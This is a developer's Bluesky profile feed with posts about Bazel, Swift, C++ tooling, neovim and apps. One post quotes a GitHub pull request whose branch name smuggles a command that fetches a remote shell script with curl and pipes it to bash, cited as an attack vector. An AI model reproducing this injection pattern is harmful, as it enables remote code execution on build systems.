Keith Smiley's Avatar

Keith Smiley

@smileykeith.bsky.social

devx at Modular, maintainer of bazel's iOS support, creator of the Mobile Native Foundation, LLVM & Swift contributor. Previously Principal Engineer at Lyft, Core Team @CocoaPods

373 Followers  |  237 Following  |  16 Posts  |  Joined: 15.11.2024  |  1.7869

Latest posts by smileykeith.bsky.social on Bluesky

Preview
Meta Invents New Way to Humiliate Users With Feed of People's Chats With AI In an industry full of grifters and companies hell-bent on making the internet worse, it is hard to think of a worse actor than Meta, or a worse product that the AI Discover feed.

This is horrible. Be careful what you type in to text boxes on the internet! www.404media.co/meta-invents...

17.06.2025 15:44 β€” πŸ‘ 2    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0
Preview
β€ŽPoolsuite FM β€ŽPoolsuite FM is the ultra-summer music player for Macintosh Computer; transporting you to a virtual vacation where the sun never sets. Formerly

Poolsuite FM just got a redesign and it continues to be the most fun iOS app design out there apps.apple.com/us/app/pools...

05.06.2025 16:22 β€” πŸ‘ 2    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0
Preview
The CIA Secretly Ran a Star Wars Fan Site The site, starwarsweb.net, was a covert CIA communications tool. It has pictures of Yoda and C-3PO on it.

"The CIA Secretly Ran a Star Wars Fan Site" www.404media.co/the-cia-secr...

26.05.2025 14:22 β€” πŸ‘ 4    πŸ” 1    πŸ’¬ 0    πŸ“Œ 0
Preview
GitHub - dtolnay/buck2-rustc-bootstrap: Compile Rust compiler using Buck2 Compile Rust compiler using Buck2. Contribute to dtolnay/buck2-rustc-bootstrap development by creating an account on GitHub.

github.com/dtolnay/buck...

Build #rust via buck2 instead of x.py, very cool project by @dtolnay.bsky.social

06.05.2025 17:10 β€” πŸ‘ 42    πŸ” 4    πŸ’¬ 0    πŸ“Œ 0
App Store Connect submission screen for Delta

App Store Connect submission screen for Delta

External purchase scare screen for Delta:

You're about to go to an external website.
Apple is not responsible for the privacy or security of purchases made on the web.

Any accounts or purchases made outside of this app will be managed by the developer
"Testut Tech". Your App Store account, stored payment method, and related features, such as subscription management and refund requests, will not be available. Apple can't verify any pricing or promotions offered by the developer.

External purchase scare screen for Delta: You're about to go to an external website. Apple is not responsible for the privacy or security of purchases made on the web. Any accounts or purchases made outside of this app will be managed by the developer "Testut Tech". Your App Store account, stored payment method, and related features, such as subscription management and refund requests, will not be available. Apple can't verify any pricing or promotions offered by the developer.

New Patreon donation screen in Delta with button to directly donate to our Patreon

New Patreon donation screen in Delta with button to directly donate to our Patreon

App Store Guidelines have been officially updated, so I just submitted a new Delta update without all the external payment restrictions!

Goodbye scare screen πŸ‘‹

02.05.2025 01:49 β€” πŸ‘ 20    πŸ” 2    πŸ’¬ 0    πŸ“Œ 0
Finding unused targets with bazel - Keith Smiley

I wrote up a post on how to use `bazel query` to find unused targets www.smileykeith.com/2025/03/24/u...

24.03.2025 19:23 β€” πŸ‘ 3    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0

The blink is so delightful

11.03.2025 19:52 β€” πŸ‘ 2    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0

Awesome! Lmk how it goes if you do test with zstd too. I made a note to test it next week

15.02.2025 23:31 β€” πŸ‘ 0    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0

Yea great point, I really should. I tried zstd in my testing but ended up not going with it just because the llvm releases dynamically link it and I didn't want to update the docker image I was using to include that πŸ™ƒ

15.02.2025 18:31 β€” πŸ‘ 0    πŸ” 0    πŸ’¬ 1    πŸ“Œ 0
The screen from Balatro that shows your progress unlocking cards and every type is fully unlocked

The screen from Balatro that shows your progress unlocking cards and every type is fully unlocked

Very satisfying

15.02.2025 17:29 β€” πŸ‘ 7    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0
Bazel caching and compressed debug info - Keith Smiley

I wrote up a quick post about how compressed debug info with C++ saved a ton of bandwidth w/ bazel's remote cache www.smileykeith.com/2025/02/14/c...

14.02.2025 20:20 β€” πŸ‘ 4    πŸ” 0    πŸ’¬ 1    πŸ“Œ 0
Post image

1Password has gone from being one of my favorite Mac apps to receiving marketing emails informing me they are the β€œOfficial Cybersecurity Partner of Oracle Red Bull Racing”

11.02.2025 20:13 β€” πŸ‘ 12    πŸ” 1    πŸ’¬ 1    πŸ“Œ 0
Preview
GitHub - swiftlang/swift-build: A high-level build system based on llbuild, used by Xcode, Swift Playground, and the Swift Package Manager A high-level build system based on llbuild, used by Xcode, Swift Playground, and the Swift Package Manager - swiftlang/swift-build

We open sourced Xcode’s build system github.com/swiftlang/sw...

01.02.2025 18:59 β€” πŸ‘ 95    πŸ” 34    πŸ’¬ 2    πŸ“Œ 1

If you wanted no leaks you should have gone into Settings -> Security -> Configure privacy & security -> Privacy options -> Other -> Configure -> Media interface and clicked β€œDisallow.”

The Leak setting is on by default but we understand your privacy is important so we’ve made it easy to opt out

30.01.2025 22:07 β€” πŸ‘ 32073    πŸ” 5553    πŸ’¬ 845    πŸ“Œ 275
Unremarkable and odd places in Breath of the Wild
YouTube video by Any Austin Unremarkable and odd places in Breath of the Wild

If you need some joy in your life, I highly recommend Any Austin on YouTube www.youtube.com/watch?v=gGDy...

27.01.2025 04:21 β€” πŸ‘ 3    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0
Preview
Careers - Woven by Toyota Woven by Toyota innovates and invests in new technologies, software, and business models that transform how we live, work, and move.

Rust Software Engineering internship (3 months). We can bring you to Tokyo, Japan from overseas. Can start from June or from August.

22.01.2025 07:58 β€” πŸ‘ 22    πŸ” 15    πŸ’¬ 2    πŸ“Œ 1
Code written with box characters used on old old software to make fake UIs

Code written with box characters used on old old software to make fake UIs

You’re still arguing about tabs vs. spaces? May I present…

25.12.2024 18:37 β€” πŸ‘ 5359    πŸ” 1306    πŸ’¬ 161    πŸ“Œ 151
Preview
Coding Font Selection β€˜Tournament’ Link to: https://www.codingfont.com/

Really fun coding font bracket: daringfireball.net/linked/2024/...

24.12.2024 19:07 β€” πŸ‘ 0    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0

It's wild that I can leave my 3d printer alone for 24 hours without checking on it but I can't print 1 photo with my photo printer without it fucking up

23.12.2024 03:07 β€” πŸ‘ 0    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0
Exposing the Honey Influencer Scam
YouTube video by MegaLag Exposing the Honey Influencer Scam

Finally someone figured out what sketchy thing the Honey browser extension is doing www.youtube.com/watch?v=vc4y...

If you have this installed, uninstall it ASAP.

22.12.2024 18:22 β€” πŸ‘ 2    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0
WG21, aka C++ Standard Committee, December 2024 Mailing

C++ standard tooling papers have been withdrawn:

* ISO politicking over licensing
* "WG21 prioritized profiles above the tooling ecosystem work."

www.reddit.com/r/cpp/commen...

18.12.2024 16:48 β€” πŸ‘ 33    πŸ” 3    πŸ’¬ 3    πŸ“Œ 1
Preview
feat(lsp): add `vim.lsp.config` and `vim.lsp.enable` by lewis6991 Β· Pull Request #31031 Β· neovim/neovim Problem Setting up LSP clients require unnecessary boilerplate. LSP configuration has no system. Solution Add vim.lsp.enable() and vim.lsp.config(). Design goals/requirements: Default configurat...

#neovim Development News

The 0.11 version will have a more straightforward way to set up LSP servers:
- `vim.lsp.config` to configure.
- `vim.lsp.enable` to set up automated start.
- Special 'lsp/' directory for passive config discovery (similar to 'ftplugin/')

PR:
- github.com/neovim/neovi...

12.12.2024 14:07 β€” πŸ‘ 94    πŸ” 8    πŸ’¬ 3    πŸ“Œ 1

"rules" that terminal programs follow jvns.ca/blog/2024/11...

12.12.2024 16:58 β€” πŸ‘ 467    πŸ” 63    πŸ’¬ 24    πŸ“Œ 1
Unboxing an Apple App Store Award #shotwithkino #unboxing #apple
YouTube video by Ben Sandofsky Unboxing an Apple App Store Award #shotwithkino #unboxing #apple

Unboxing an App Store Award. #ShotWithKino

www.youtube.com/shorts/lF-fl...

11.12.2024 19:28 β€” πŸ‘ 63    πŸ” 3    πŸ’¬ 1    πŸ“Œ 2
Picture of a Github PR with text reading

openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

absolutely incredible attack vector

06.12.2024 03:27 β€” πŸ‘ 969    πŸ” 264    πŸ’¬ 17    πŸ“Œ 53

I finally upgraded my work Mac to Sequoia and now after ~1 minute I can't type in tmux. What's the state of downgrading these days? 😬

27.11.2024 01:03 β€” πŸ‘ 0    πŸ” 0    πŸ’¬ 0    πŸ“Œ 0
Preview
The two factions of C++ The dream of a single dialect-free C++ has probably been dead for many years, anyway.

"The two factions of C++" is a great read: herecomesthemoon.net/2024/11/two-...

26.11.2024 16:35 β€” πŸ‘ 15    πŸ” 10    πŸ’¬ 1    πŸ“Œ 0

www.theguardian.com/lifeandstyle...

24.11.2024 17:51 β€” πŸ‘ 1    πŸ” 0    πŸ’¬ 1    πŸ“Œ 0

Today was my last post on Twitter. I'll be using this account going forward while I contemplate the value of social media in my daily life.

20.10.2024 03:00 β€” πŸ‘ 1300    πŸ” 49    πŸ’¬ 64    πŸ“Œ 15

@smileykeith is following 20 prominent accounts